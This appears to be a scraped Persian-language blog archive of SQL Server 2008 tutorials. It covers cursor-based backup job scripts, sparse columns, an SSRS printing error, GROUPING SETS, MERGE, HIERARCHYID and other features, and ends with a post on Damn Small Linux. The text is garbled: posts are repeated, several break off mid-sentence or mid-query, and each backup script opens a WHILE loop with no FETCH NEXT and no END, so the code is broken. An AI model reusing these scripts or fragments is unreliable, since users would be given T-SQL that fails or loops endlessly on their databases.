      SELECT name FROM sys.databases WHERE name NOT IN ('master', 'model', 'msdb', 'tempdb')
OPEN user_db_cursor
FETCH NEXT FROM user_db_cursor
INTO @db

WHILE @@FETCH_STATUS = 0
BEGIN
      DECLARE @backupPath varchar(1000);
      SET @backupPath = @basePath + @db + '\';

      DECLARE @backupName varchar(1000);
      DECLARE @time datetime2;
      SET @time = SYSDATETIME();
      SET @backupName = @db + '_backup_' + REPLACE(REPLACE(REPLACE(CONVERT(varchar, @time, 20),'-','_'),':',''),' ','_')
      + '_' +  CAST(DATEPART(NANOSECOND, @time)/100 as varchar)

      --Create sub-directory
      EXECUTE master.dbo.xp_create_subdir @backupPath
     
      DECLARE @backupFileName varchar(1000);
      SET @backupFileName = @backupPath + @backupName + '.bak';
     
      --Backup database
      BACKUP DATABASE @db TO DISK=@backupFileName
            WITH RETAINDAYS=14, NOFORMAT, NOINIT, NAME=@backupName ,
            SKIP, REWIND, NOUNLOAD, STATS=10

CLOSE user_db_cursor
DEALLOCATE user_db_cursor

پشتیبان Differential :

DECLARE @basePath varchar(300);
SET @basePath = N'M:\Program Files\Microsoft SQL Server\MSSQL10.MSSQLSERVER\MSSQL\Backup\';

DECLARE @db sysname;
DECLARE user_db_cursor CURSOR FOR
 SELECT name FROM sys.databases WHERE name NOT IN ('master', 'model', 'msdb', 'tempdb')
OPEN user_db_cursor
FETCH NEXT FROM user_db_cursor
INTO @db

WHILE @@FETCH_STATUS = 0
BEGIN
      DECLARE @backupPath varchar(1000);
      SET @backupPath = @basePath + @db + '\';

      DECLARE @backupName varchar(1000);
      DECLARE @time datetime2;
      SET @time = SYSDATETIME();
      SET @backupName = @db + '_backup_' + REPLACE(REPLACE(REPLACE(CONVERT(varchar, @time, 20),'-','_'),':',''),' ','_')
      + '_' + CAST(DATEPART(NANOSECOND, @time)/100 as varchar)

      --Create sub-directory
      EXECUTE master.dbo.xp_create_subdir @backupPath
     
      DECLARE @backupFileName varchar(1000);
      SET @backupFileName = @backupPath + @backupName + '.bak';
     
      --Backup database
      BACKUP DATABASE @db TO
DISK=@backupFileName
            WITH DIFFERENTIAL, RETAINDAYS=14, NOFORMAT, NOINIT,
NAME=@backupName ,
            SKIP, REWIND, NOUNLOAD, STATS=10
      
CLOSE user_db_cursor
DEALLOCATE user_db_cursor

پشتیبان  Transaction Log :

DECLARE @basePath varchar(300);
SET @basePath = N'M:\Program Files\Microsoft SQL Server\MSSQL10.MSSQLSERVER\MSSQL\Backup\';

DECLARE @db sysname;
DECLARE user_db_cursor CURSOR FOR
      SELECT name FROM sys.databases WHERE name NOT IN ('master', 'model', 'msdb', 'tempdb')
OPEN user_db_cursor
FETCH NEXT FROM user_db_cursor
INTO @db

WHILE @@FETCH_STATUS = 0
BEGIN
      DECLARE @backupPath varchar(1000);
      SET @backupPath = @basePath + @db + '\';

      DECLARE @backupName varchar(1000);
      DECLARE @time datetime2;
      SET @time = SYSDATETIME();
      SET @backupName = @db + '_backup_' + REPLACE(REPLACE(REPLACE(CONVERT(varchar, @time, 20),'-','_'),':',''),' ','_')
      + '_' +  CAST(DATEPART(NANOSECOND, @time)/100 as varchar)

      --Create sub-directory
      EXECUTE master.dbo.xp_create_subdir @backupPath
     
      DECLARE @backupFileName varchar(1000);
      SET @backupFileName = @backupPath + @backupName + '.trn';
     
      --Backup database
      BACKUP LOG @db TO
DISK=@backupFileName
            WITH RETAINDAYS=14, NOFORMAT, NOINIT,
NAME=@backupName ,
            SKIP, REWIND, NOUNLOAD, STATS=10
      
CLOSE user_db_cursor
DEALLOCATE user_db_cursor

اجرای Job Agent Task در SQL SERVER :

EXEC msdb.dbo.sp_start_job '';

نکته : این عملیات به کمک SQL Server Agent انجام میشود. اطمینان حاصل کنیدکه سرویس مربوط به آن run است.

 

ستونهای پراکنده (Sparse)
ساعت ٩:٢٧ ‎ب.ظ روز ۱۳۸٧/۱٠/۱٦  

ستونهای پراکنده، ستونهایی هستند که برای ذخیره سازی NULL ها بهینه شده اند. برای تعریف یک ستون به عنوان Sparse ، مشخصه های آن را به عنوان بخشی از تعریف ستون مشخص کنید. Sparse ها هیچ فضایی را برای NULL مصرف نمیکنند، مطابق با انواع با طول ثابت; اگرچه وقتی یک ستون به عنوان sparse مشخص میشود، ذخیره مقادیر غیر Null از همیشه پر هزینه تر میشود. بنابراین شما فقط باید زمانی یک ستون را از نوع Sparse تعریف کنید که درصد زیادی از اطلاعات آن Null باشد. کتابهای online مربوط به SQL Server پیشنهاداتی در این زمینه دارد که چه مقدار از داده ها از هر نوع باید null باشد تا استفاده از sparse برای آن ستون مفید باشد.
Query زدن و پر کردن ستونهای sparse مانند ستونهای معمولیست با یک تفاوت که در جلوتر بیان خواهد شد. به عنوان مثال کد زیر یک جدول با نام T1 در tempdb (برای تست) میسازد، سه تا از ستونها با مشخصه sparse علامت گذاری میشوند، یک زوج از سطرها در آن insert میشوند و روی جدول  query زده میشود :


USE tempdb;
IF OBJECT_ID('dbo.T1', 'U') IS NOT NULL DROP TABLE dbo.T1;
CREATE TABLE dbo.T1
(
  keycol INT                   NOT NULL PRIMARY KEY,
  col1   VARCHAR(20)           NOT NULL,
  col2   INT            SPARSE     NULL,
  col3   CHAR(10)       SPARSE     NULL,
  col4   NUMERIC(12, 2) SPARSE     NULL
);
INSERT INTO dbo.T1(keycol, col1, col2) VALUES(1, 'a', 10);
INSERT INTO dbo.T1(keycol, col1, col4) VALUES(2, 'b', 20.00);
 
SELECT keycol, col1, col2, col3, col4
FROM dbo.T1;

محدودیتهای زیادی برای استفاده از ستونهای Sparse موجود است که بحث در رابطه با آنها در اینجا نمیگنجد.
SQL Server 2008 به شما این اجازه را میدهد که مجموعه ای از ستونها که تمامی ستونهای sparse یک جدول را در یک ستون XML واحد ترکیب میکند تعریف کنید. شما ممکن است که بخواهید به این گزینه، وقتیکه تعداد زیادی از ستونهای sparse را در جدولتان دارید (بیشتر از ۱۰۲۴)  فکر کنید و کار کردن روی آنها به صورت شخصی ممکن است طات فرسا باشد.
برای تعریف یک مجموعه از ستونها(column set)، عبارت زیر را به عنوان بخشی از عبارت CREATE TABLE مشخص کنید:


XML column_set FOR ALL_SPARSE_COLUMNS


به عنوان مثال، کد زیر جدول T1 را مجددا با یک مجموعه ستون با نام cs میسازد:


IF OBJECT_ID('dbo.T1', 'U') IS NOT NULL DROP TABLE dbo.T1;
CREATE TABLE dbo.T1
(
  keycol INT                   NOT NULL PRIMARY KEY,
  col1   VARCHAR(20)           NOT NULL,
  col2   INT            SPARSE     NULL,
  col3   CHAR(10)       SPARSE     NULL,
  col4   NUMERIC(12, 2) SPARSE     NULL,
  cs     XML column_set FOR ALL_SPARSE_COLUMNS
);

شما همچنین میتوانیداز کد مشابهی که قبلتر استفاده شده برای insert سطرها در جدول و query زدن روی آن استفاده کنید :


INSERT INTO dbo.T1(keycol, col1, col2) VALUES(1, 'a', 10);
INSERT INTO dbo.T1(keycol, col1, col4) VALUES(2, 'b', 20.00);

SELECT keycol, col1, col2, col3, col4
FROM dbo.T1;

اما شما میتوانید روی column set با استفاده از اعمال XML به جای اعمال رابطه ای  کار کنید. به عنوان مثال، کد زیر یک سطر با استفاده از column set در جدول درج میکند :


INSERT dbo.T1(keycol, col1, cs)
  VALUES(3, 'c', 'CCCCCCCCCC30.00');


NULL برای ستونی که در مقدار XML نیامده است در نظر گرفته میشود که در این مثال col2 است.
دقت کنید که اگر شما یک column set در جدول تعریف کنید، SELECT * مقادیر مشابه SELECT که در آن تمام ستونها به صورت واضح نام برده شده اند را بر نمیگرداند. SELECT * تمام ستونهای sparse را به عنوان یک مقدار XML در column set برمیگرداند. برای نمایش این، کد زیر را اجرا کنید :


SELECT * FROM dbo.T1;


این کد خروجی زیر را برمیگرداند:


keycol      col1       cs
----------- ---------- ------------------------------------------
1           a          10
2           b          20.00
3           c          CCCCCCCCCC30.00

اگر شما به صورت صریح ستونها را در عبارت SELECT لیست کنید، تمام ستونهای نتیجه به عنوان مقادیر رابطه ای باز گردانده میشوند.
خصیصه جدید دیگری که میتوانند در مقارنه با ستونهای sparse استفاده شوند اندیسهای فیلتر شده (filtered index) هستند. این خصیصه در بخش بعدی توضیح داده خواهد شد.

 

خطا در چاپ گزارش در SQL Server Reporting Service
ساعت ۳:٤٧ ‎ب.ظ روز ۱۳۸٧/۱٠/۱۱  

چند روزی بود که درگیر مشکلی با SSRS برای چاپ گزارش در روی Client بودیم. جدیداگزارشات نرم افزار خودمان را روی RS 2008پیاده سازی کرده بودیم.خطای موجود به شکل زیر بود : 

SSRS: Unable to Load Client Print Control error

 

 دلیل این خطا یکی از موارد زیر است : 

۱) اگر جدیدا ویندوز شما Update شده باید یک patch امنیتی با عنوان KB956391 نصب شده باشد. نصب این patch باعث مشکل در client print  در Reporting Service میشود و دیگر اجازه دانلود به ActiveX مربوط داده نمیشود. برای حل این مشکل میتوانید patch باعنوان KB954606  را نصب کنید. سپس MS Report Viewer Distribute Package 2008 SP1 را نصب کنید. احتمالا مشکل شما حل خواهد شد.

۲) مورد دیگر این است که شاید گزارشات و RS را به ۲۰۰۸ ارتقا داده باشید ولی کنترل ReportViewer شما یک کنترل مربوط به VS 2005 باشد. اگر کنترل را با کنترل موجود در VS 2008 جایگزین کنید این مشکل حل خواهد شد.

 

 

تشکر از شما : محمد ولید احمدزی

تشکر از  Black Shadom ( Hackers ) thanks !!! Me walid Ahmadzai

 

 

 

 

+ 100000101010101010101001010101010101010101001001010 سه شنبه هشتم اردیبهشت 1388???? 16:21 100000101010101010101001010101010101010101001001010 احمدزی |



ساختن template برای گزارشات در Reporting Service

شاید برای خیلی ها که با SQL Server Reporting Server کار میکنند این سوال پیش آمده باشد که چگونه میتوان برای گزارشات یک قالب از پیش تعیین شده ساخت؟ این دقیقا شبیه Master Page برای صفحات ASP .NET است. پاسخ این سوال به شرح زیر است:

 

۱- گزارش مورد نظر خود را بسازید. این گزارش باید شامل قسمتهایی باشد که در تمام گزارشات شما تکرار میشود. مثلا اگر در تمام گزارشات شما Header و Footer مورد نیاز است، میتوانید این کار را در قالب خود طراحی کنید.

۲- فایل rdl ساخته شده را با نام مورد نظر در آدرس زیر کپی کنید:

D:\Program Files\Microsoft Visual Studio 9.0\Common7\IDE\PrivateAssemblies\ProjectItems\ReportProject

۳- Visual Studio را باز کنید و یک پروژه Report بسازید.

۴- پس از ساخته شدن پروژه روی پوشه Reports راست کلیک کنید و گزینه Add و سپس New Item را انتخاب کنید. در دیالوگ باز شده باید یک قالب با نام موردنظر خود ببینید. آن راانتخاب کنید.

در گزارش جدید باید تغییراتی که از قبل داده اید را ببینید.

 

نکته - از این روش شما برای ساختن قالب برای Data Source ها هم میتوانید استفاده کنید.

 

 

 

تابع GROUPING_ID

این تابع به شما اجازه میدهد که مجموعه هایی را مشخص کنید که هر کدام از سطور نتایج متعلق به آنهاست. به عنوان ورودی شما تمام مشخصه هایی را که در هر مجموعه دسته بندی شرکت دارند مهیا میکند. تابع یک نتیجه integer که یک bitmap (نقشه بیتی) است را تولید میکند، که در آن هر بیت جایگزین یک مشخصه متفاوت میشود. در این راه تابع یک عدد صحیح یکه برای هر مجموعه دسته بندی تولید میکند.

Query زیر یک مثال از استفاده این تابع را نمایش میدهد:

 

SELECT 

  GROUPING_ID(

 

 

جبر مجموعه های گروه بندی (Grouping Sets Algebra)

شما محدود نشده اید که تنها از یک زیرعبارت در عبارت GROUP BY استفاده کنید. شما میتوانید چندین زیرعبارت را با استفاده از کاما مشخص کنید. کاما به عنوان اپراتور حاصلضرب استفاده میشود، بدین معنی که شما حاصلضرب دکارتی مجموعه ها را خواهید داشت. به عنوان مثال، کد زیر جایگزین حاصلضرب دکارتی بین دو مجموعه از زیرعبارات میشود:


GROUPING SETS ( (a, b), (c, d) ), GROUPING SETS ( (w, x), (y, z) )


این کد به صورت منطقی معادل است با :


GROUPING SETS ( (a, b, w, x), (a, b, y, z), (c, d, w, x), (c, d, y, z) )


شما میتوانید همچنین از زیرعبارات CUBE و ROLLUP به عنوان قسمتی از ضرب دکارتی استفاده نمایید.

 

 

Grouping Sets

این نسخه از SQL Server چندین پسوند برای Group By معرفی کرده که به شما این امکان را میدهد که به صورت همزمان چندین عملیات Grouping روی یک query داشته باشید. این پسوندها عبارتند از Grouping Sets و CUBE و ROLLUP که زیرعبارتهایی از عبارت Group By و توابع GROUPING_ID هستند. پسوندهای جدید استاندارد هستند و نباید با option های غیراستاندارد و قدیمی CUBE و ROLLUP اشتباه گرفته شوند.

زیر عبارات GROUPING SETS  و CUBE و ROLLUP

 

 

عبارت MERGE

این عبارت جدید یک عبارت استاندارد است که سه عمل INSERT و UPDATE و DELETE را ترکیب کرده و بر اساس یک منطق شرطی یک عملیات تجزیه ناپذیر را انجام میدهد. استفاده از این عملیات تجزیه ناپذیر بهینه تر از استفاده همزمان از سه عملیات بالا به صورت مجزاست.
عبارت به دو جدول اشاره میکند: یک جدول هدف که در عبارت MERGE INTO مشخص میشود و جدول دیگر که جدول منبع است و در عبارت USING استفاده میشود. جدول هدف، هدفیست برای تغییرات و اصلاحات، و جدول منبع میتواند برای اصلاح هدف مورد استفاده قرار بگیرد.
سیمنتیک عبارت merge شبیه یک outer join است. شما با استفاده عبارت ON مشخص میکنید که کدام سطر از جدول هدف با کدام جدول منبع مطابقت دارد و کدام مطابقت ندارد. شما یک عبارت برای هر مورد دارید که تعیین میکند کدام عملیات انجام شود :


WHEN MATCHED THEN
 WHEN NOT MATCHED [BY TARGET] THEN
WHEN NOT MATCHED BY SOURCE THEN


دقت کنید که شما احتیاج ندارید که هر سه عبارت را مشخص کنید، بلکه فقط یک مورد نیاز است.
به همان اندازه که دیگر عبارات تغییر، عبارت MERGE نیز عبارت OUTPUT را حمایت میکند،‌که به شما این امکان را میدهد که مقادیری را از سطرهای تغییر یافته باز گرداند. به عنوان قسمتی از عبارت OUTPUT شما میتوانید متد $action را فراخوانی کنید تا عملیاتی که باعث تغییر سطر شده را مشخص کنید.( 'INSERT', 'UPDATE', 'DELETE')
به عنوان مثال کد زیر طریقه استفاده از عبارت MERGE را مشخص میکند. این کد دو جدول Customers و CustomersStage را در tempdb ساخته و آنها را با داده هایی پر میکند:

نسخه جدید SQL Server با معرفی این دو نوع پارامتر کدها را مختصر کرده و کارایی آن را نیز بالا میبرد. Table Type ها اجازه استفاده مجدد آسان تعریف جدول را با متغیر جداول مهیا میسازد و Table Valued اجازه پاس کردن یک table را با استفاده از پارامترها به stored procedure ها و function ها را به ما میدهد.

1- Table Type ها
این نوع اجازه میدهد که شما تعریف table را در پایگاه داده ذخیره نمایید و بعدا از آن برای تعریف متغیرهای table و پارامترها به stored procedure ها و function ها استفاده نمایید.به این دلیل که این نوع جدید به شما این امکان را میدهد که از تعریف table دوباره استفاده کنید، آنها پایداری (consistency) و کم کردن احتمال خطا را تامین میکنند.
شما باید از عبارت CREATE TYPE برای ساخت این نوع جدید استفاده کنید. به عنوان مثال کد زیر یک Table Type جدید بهپایگاه داده AdventureWork می افزاید :


USE AdventureWorks;
GO
CREATE TYPE dbo.OrderIDs AS TABLE
( pos INT NOT NULL PRIMARY KEY,
  orderid INT NOT NULL UNIQUE );
و در کد زیر از آن پس از تعریف استفاده شده است :
DECLARE @T AS dbo.OrderIDs;
INSERT INTO @T(pos, orderid) VALUES(1, 51480),(2, 51973),(3, 51819);
SELECT pos, orderid FROM @T ORDER BY pos;

برای دیدن اطلاعات metadata مربوط به table typeها روی view با نام sys.table_types یک Query بزنید.

نوع داده جدید HIERARCHYID (متدهای مربوط)

شما میتوانید از چندین متد دیگر برای دستکاری در نوع داده HIERARCHYID استفاده کنید. از جمله Parse، GetReparentedValue،Read و Write.
با استفاده از متد HIERARCHYID::Parse میتوانید یک رشته با فرمت درست را به یک HIERARCHYID تبدیل کنید درست مثل تابع CAST.
با استفاده از متد GetReparentedValue میتواند گره والد یک گره تغییر داد. این متد دو آرگومان ورودی دارد، یکی @old_root و دیگری @new_root. فرض کنید مقدار منطقی و مسیر گره فعلی به صورت روبرو باشد /1/1/2/3/2/ و مقدار old_root /1/1/ باشد و مقدار new_root برابر /2/1/4/ باشد، در این صورت این متد مقدار /2/1/4/2/3/2/ را باز خواهد گرداند. دقت داشته باشید که این متد نیز تضمین نکرده که مقدار برگشتی یکه باشد.
متدهای Read و Write نیز فقط در CLR قابل استفاده است. از آنها برای خواندن از  BinaryReader و  نوشتن روی BinaryWriter استفاده کرد. شما میتوانید با استفاده از CAST حتی مقادیر رشته ای معادل HIERARCHYID را به آن تبدیل میکند و بالعکس

وع داده جدید HIERARCHYID (جستجو زدن روی سلسله مراتب)

اگر شما روی hid جستجو کنید خروجی به صورت binary است و اطلاعات با معنایی برای شما ندارد. برای اینکه به شکل منطقی تری دست پیدا کنید از متد ToString استفاده کنید. اگر این کار را کنید مسیری از سطوح را به شما میدهد که با اسلش از هم جدا شده است. به عنوان مثال کد زیر هر دو نوع binary و معادل منطقی آن را به شما میدهد :


SELECT hid, hid.ToString() AS path, lvl, empid, empname, salary
FROM dbo.Employees
ORDER BY hid;


فراخوانی HIERARCHYID یک مرتب سازی topological را میسازد و از متد  

 

وع داده جدید HIERARCHYID (جستجو زدن روی سلسله مراتب)

اگر شما روی hid جستجو کنید خروجی به صورت binary است و اطلاعات با معنایی برای شما ندارد. برای اینکه به شکل منطقی تری دست پیدا کنید از متد ToString استفاده کنید. اگر این کار را کنید مسیری از سطوح را به شما میدهد که با اسلش از هم جدا شده است. به عنوان مثال کد زیر هر دو نوع binary و معادل منطقی آن را به شما میدهد :


SELECT hid, hid.ToString() AS path, lvl, empid, empname, salary
FROM dbo.Employees
ORDER BY hid;


فراخوانی HIERARCHYID یک مرتب سازی topological را میسازد و از متد  

 

نوع داده جدید HIERARCHYID (استراتژی های Indexing)

این یک CLR UDT است که برای نگهداری و دستکاری سلسله مراتب و وراثت استفاده میشود. این نوع به صورت داخلی در مقدار VARBINARY ذخیره میشود که اطلاعات گره کنونی را در سلسله مراتب (به صورت پدر و فرزند و همچنین به صورت همنیا) نگهداری میکند. برای درک این مطلب باید استراتژی Indexing و Insert گره های جدید را متوجه شویم.

این مورد شامل چند بخش است :
١- استراتژی های Indexing :
کد زیر نحوه استفاده از نوع جدید HIERARCHYID را نمایش میدهد به ستون hid دقت کنید :


USE tempdb;
IF OBJECT_ID('dbo.Employees', 'U') IS NOT NULL DROP TABLE dbo.Employees;
CREATE TABLE dbo.Employees
(
  empid   INT NOT NULL,
  hid     HIERARCHYID NOT NULL,
  lvl AS hid.GetLevel() PERSISTED,
  empname VARCHAR(25) NOT NULL,
  salary  MONEY       NOT NULL,
  CONSTRAINT PK_Emploees PRIMARY KEY NONCLUSTERED(empid)
);


به استفاده از متد GetLevel() توجه کنید، دراین ستون یعنی lvl شماره سطح این گره در سلسله مراتب به دست آمده و نگهداری میشود. این تضمین میکند که تمام گره های فرزند پایینتر از گره های والد است. به این دلیل اگر از اندیس استفاده کنیم به صورت خودکار با افزایش صعودی اندیس، این سلسله مراتب هم به صورت خودکار افزایش میابد درست مثل درختی که شاخ و برگهای آن افزایش میابد. دو نوع استراتژی موجود است 1- عمقی اول (depth first) 2- ردیفی اول (breadth first)

در استراتژی دوم گره های هم سطح دارای اندیس نزدیک به هم هستند. در کد های زیر هر دو نوع اندیس گذاری معرفی شده :


CREATE UNIQUE CLUSTERED INDEX idx_depth_first ON dbo.Employees(hid);
CREATE UNIQUE INDEX idx_breadth_first ON dbo.Employees(lvl, hid);

 

UDT های بزرگ

نسخه های قبلی انواع تعریف شده توسط کاربر (user defined type) دارای محدودیت از لحاظ طول بود یعنی CLR های با طول بیش از 8000 بایت نمیشد که ساخته شود ولی در نسخه جدید این محدودیت حذف شده است و این محدودیت تا 2 گیگابایت افزایش یافته است. دو نوع جدید GEOMETRY و GEOGRAPHY از این نوع هستند که در SQL Server 2008 به صورت built in افزوده شده اند. این دو برای نگهداری موقعیت جغرافیایی مناسبند. مشخصه ای برای تعیین طول موجود است که عبارت است از : SqlUserDefinedTypeAttribute.MaxByteSize اگر مقدار آن روی 1- تنظیم شده باشد یعنی تا 2 گیگا بایت میتواند افزایش حجم یابد. کلاینتهای قدیمی 2000 و 2005 این UDT های با حجم زیاد را با نوع VARBINARY(MAX) و IMAGEجایگزین میکند.

 

انواع داده ای Date و Time

یکی از مواردی که خیلی از طرف توسعه دهندگان مورد نیاز بود این بود که نوع DateTime در نسخه های قبل به صورت دو نوع مجزا در نسخه جدید آورده شودکه اینگونه هم شد. در نسخه جدید 4 نوع جدید برای این کار در نظر گرفته شده است که عبارتند از Date ،  Time، DateTime2 و DATETIMEOFFSET
در جدول زیر مشخصات این انواع جدید آورده شده است:

 

انواع داده ای Date و Time

یکی از مواردی که خیلی از طرف توسعه دهندگان مورد نیاز بود این بود که نوع DateTime در نسخه های قبل به صورت دو نوع مجزا در نسخه جدید آورده شودکه اینگونه هم شد. در نسخه جدید 4 نوع جدید برای این کار در نظر گرفته شده است که عبارتند از Date ،  Time، DateTime2 و DATETIMEOFFSET
در جدول زیر مشخصات این انواع جدید آورده شده است:

 

امکانات جدید T-SQL

در نسخه جدید SQL Server امکانات جدیدی به زبان T-SQL افزوده شده است که به بیان آن در زیر میپردازم، در هر پست یک مشخصه جدید را خواهم نوشت :

افزودن اینکه در یک سطر تمامی متغیرها و پارامترها را تعریف و به صورت Inline آن را مقداردهی کنید.


DECLARE @i AS INT = 0, @d AS DATETIME = CURRENT_TIMESTAMP;
SELECT @i AS [@i], @d AS [@d];

 

 

توسعه و بهبود DDL برای Trigger

در sql server 2008 ، trigger ها طوری تغییر کرده اند که از آنها به عنوان DDL میشود استفاده کرد مثلا یک table جدید در آن ساخته شود. با این تغییر انعطاف بسیار بالایی به  trigger ها داده شده است. شمای XML برای رخدادها به عنوان بخشی از database engine در مسیر

C:\Program Files\Microsoft SQL Server\100\Tools\Binn\schemas\sqlserver\2006\11\events\events.xsd 

نصب شده و همچنین از آدرس زیر قابل دریافت است.

http://schemas.microsoft.com/sqlserver

خیلی از stored procedure ها اعمال تعریف داده(DDL) انجام میدهند. قبل از sql server 2008 ، شما نمیتوانستید با یک trigger ساختار داده ای جدیدی تعریف کنید. اکنون  شما میتوانید رویدادهایی را راه اندازی کنید که درآنها کارهایی شبیه PROCEDURE انجام دهید. به عنوان مثال، stored procedure با نام sp_rename یک trigger را که در رویداد RENAME جدید ساخته شده است راه اندازی و اجرا میکند. برای نمایش این نوع از trigger، کد زیر یک database  با نام testdb و در آن یک trigger روی رویداد RENAME برای چاپ منبع و جزییات هدف را جهت تست میسازد.

خطا در چاپ گزارش در SQL Server Reporting Service

چند روزی بود که درگیر مشکلی با SSRS برای چاپ گزارش در روی Client بودیم. جدیداگزارشات نرم افزار خودمان را روی RS 2008پیاده سازی کرده بودیم.خطای موجود به شکل زیر بود : 

SSRS: Unable to Load Client Print Control error

 

خطا در چاپ گزارش در SQL Server Reporting Service

چند روزی بود که درگیر مشکلی با SSRS برای چاپ گزارش در روی Client بودیم. جدیداگزارشات نرم افزار خودمان را روی RS 2008پیاده سازی کرده بودیم.خطای موجود به شکل زیر بود : 

SSRS: Unable to Load Client Print Control error

 

 

ستونهای پراکنده (Sparse)

ستونهای پراکنده، ستونهایی هستند که برای ذخیره سازی NULL ها بهینه شده اند. برای تعریف یک ستون به عنوان Sparse ، مشخصه های آن را به عنوان بخشی از تعریف ستون مشخص کنید. Sparse ها هیچ فضایی را برای NULL مصرف نمیکنند، مطابق با انواع با طول ثابت; اگرچه وقتی یک ستون به عنوان sparse مشخص میشود، ذخیره مقادیر غیر Null از همیشه پر هزینه تر میشود. بنابراین شما فقط باید زمانی یک ستون را از نوع Sparse تعریف کنید که درصد زیادی از اطلاعات آن Null باشد. کتابهای online مربوط به SQL Server پیشنهاداتی در این زمینه دارد که چه مقدار از داده ها از هر نوع باید null باشد تا استفاده از sparse برای آن ستون مفید باشد.
Query زدن و پر کردن ستونهای sparse مانند ستونهای معمولیست با یک تفاوت که در جلوتر بیان خواهد شد. به عنوان مثال کد زیر یک جدول با نام T1 در tempdb (برای تست) میسازد، سه تا از ستونها با مشخصه sparse علامت گذاری میشوند، یک زوج از سطرها در آن insert میشوند و روی جدول  query زده میشود :


USE tempdb;
IF OBJECT_ID('dbo.T1', 'U') IS NOT NULL DROP TABLE dbo.T1;
CREATE TABLE dbo.T1
(
  keycol INT                   NOT NULL PRIMARY KEY,
  col1   VARCHAR(20)           NOT NULL,
  col2   INT            SPARSE     NULL,
  col3   CHAR(10)       SPARSE     NULL,
  col4   NUMERIC(12, 2) SPARSE     NULL
);
INSERT INTO dbo.T1(keycol, col1, col2) VALUES(1, 'a', 10);
INSERT INTO dbo.T1(keycol, col1, col4) VALUES(2, 'b', 20.00);
 
SELECT keycol, col1, col2, col3, col4
FROM dbo.T1;

محدودیتهای زیادی برای استفاده از ستونهای Sparse موجود است که بحث در رابطه با آنها در اینجا نمیگنجد.

 

چند Script خوب در رابطه با تعریف Job

برای انجام کارها در SQL SERVER به صورت خودکار باید JOB تعریف کرد. این کار میتواند به صورت دستی از داخل برنامه انجام شود یا اینکه برای آن Script نوشت و آن را اجرا کرد. یکی سوالات متداول این است که چگونه میتوانیم به صورت خودکار از SQL SERVER پشتیبانگیری کنیم، این کار با JOB ها قابل انجام است. در زیر چند Job کاربردی برای نمونه آورده شده است:

Back up به صورت کامل : کد مثال برای تمام Job ها یک دایرکتوری به ازای هر پایگاه داده خواهد ساخت و از آن پشتیبانگیری میکند :

DECLARE @basePath varchar(300);
SET @basePath = N'M:\Program Files\Microsoft SQL Server\MSSQL10.MSSQLSERVER\MSSQL\Backup\';

DECLARE @db sysname;
DECLARE user_db_cursor CURSOR FOR
      SELECT name FROM sys.databases WHERE name NOT IN ('master', 'model', 'msdb',

 

ندیسهای فیلتر شده و آمار

SQL Server 2008 اندیسهای فیلتر شده و آمار را معرفی کرد. شما اکنون میتوانید یک اندیس گروهبندی نشده بر اساس یک گزاره بسازید، و فقط زیرمجموعه ای از سطرها برای اینکه گزاره در اندیس B-Tree ذخیره شده صحیح بماند، موجودند. به همین نحو، شما میتواند به صورت دستی بر اساس یک گزاره آمار بسازید. بهینه ساز برای زمانی که چنین اندیسهای فیلتر شده و آماری به صورت منطقی استفاده میشوند مفید هستند.
اندیسهای فیلترشده با طراحی خوب میتوانند کارایی و کیفیت طرح را بالا ببرند زیرا آنها از اندیسهای فیلتر نشده کوچکترند. همچنین، آمار فیلتر شده – خواه به صورت خودکار برای یک اندیس فیلتر شده ساخته شده باشد خواه به صورت دستی – از آمار فیلترنشده دقیقترند زیرا آنها نیاز دارندتنها زیرمچموعه ای از سطرهای جدول را کاور کنند.
شما همچنین میتوانید هزینه نگهداری اندیس را به دلیل موجود بودن اطلاعات کمتر جهت نگهداری در اندیسهای ....

 

 

 

 

 

 

+ 100000101010101010101001010101010101010101001001010 سه شنبه هشتم اردیبهشت 1388???? 16:12 100000101010101010101001010101010101010101001001010 احمدزی |



DSL یا Damn Small Linux

توضیحات کامل رو در پایین بخونید و خودمم یه چند خطی بهش اضافه میکنم

 

عرض شود که لینوکس پدر آمرزیده به علت اپن سورس بودنش هزار و یک توزیع مختلف با کارایی ها و کاربری ها گوناگون دارد، یکی از این توزیع ها اسمش هست DSL یا کاملترش می شود Damn Small Linux فارسی اش هم که واضح است "لینوکس بسیار کوچک" البته می شود به سبک من بعد از اینکه از دیدنش ذوق کردید بگوئید "لینوکس کوچک لعنتی" یا اصلا شاید درستش همین باشد. این توزیع از لینوکس صرفا برای این کامپیوترهایی که خیلی قدیمیه و کارهای دم دستی بر روی کامپیوترهای مختلفی که سیستم عامل بر رویشان نصب نیست یا نصب هست ولی به هر دلیلی مثل داشتن پسورد و عدم آگاهی از آن و... توسعه داده شده است.

از مزایایش اینکه حجمش فوق العاده کم است کل فایلی که شما باید دانلود کنید فقط ۹۵ مگابایت است، که برای یک سیستم عامل که همراه آن یا بهتر بگویم درون آن کلی نرم افزار کاربردی هم وجود دارد بسیار ایده آل است. DSL را تقریبا روی هر سیستمی و با کمترین امکانات می توان بوت کرد، بوت کردنش هم از روی CD یا یک درایو USB یا ابزارهای مشابه به سادگی امکان پذیر است و با سیستمی دارای ۱۶ مگابایت رم به بالا که ضعیف ترین CPU را هم دارا باشد به راحتی سر سازگاری دارد البته اگر آن را روی سیستمی با ۱۲۸ مگابایت رم بوت کنید کارایی نسبتا ایده آلش را می توانید ببینید ضمن اینکه از نظر قابلیت هایش در زمینه خطوط دستور نسبتا کارآمد و غنی است (این یکی را توسعه کنندگانش گفته اند نه من).

از همه اینها مهم تر تعداد نرم افزارهایی است که در این ۹۵ مگابایت گنجانده شده اند و خیلی روان با DSL کار میکنند، نرم افزارها عبارتند از XMMS ویژه ی MP3، سی دی های موسیقی و فرمت MPEG، یک ابزار FTP، مرورگر وب Dillo، مرورگر وب Netrik و مروگر محبوب فایرفاکس، ابزاری نسبتا ساده که کارهای Excel یا صفحات گسترده شما را راه می اندازد، Ted که ویژه ی ویرایش متون است، Xpaint برای نمایش تصاویر دیجیتالی و ویرایش ابتدایی آنها، Xpdf برای نمایش فایلهای PDF، نوعی ابزار مدیریت فایل به نام emelFM، یک نوع ابزار ویژه ی IM ولی خیلی کارایی نداره و بیشتر استفاده از آن می تواند برای IRC باشد که بین ما ایرانی ها رواج ندارد و ماشین حساب و چند ابزار کاربردی دیگر.

از طرفی DSL از مواردی مثل PPPoE و همینطور DHCP و PPP پشتیبانی خوبی به عمل می آورد که کار کسانی که ADSL دارند را برای اتصال به اینترنت ساده میکند و البته اگر سیستمی که شما از آن استفاده میکنید Wi-Fi داشته باشد به گفته توسعه دهندگانش Wi-Fi را هم ساپورت می کند.

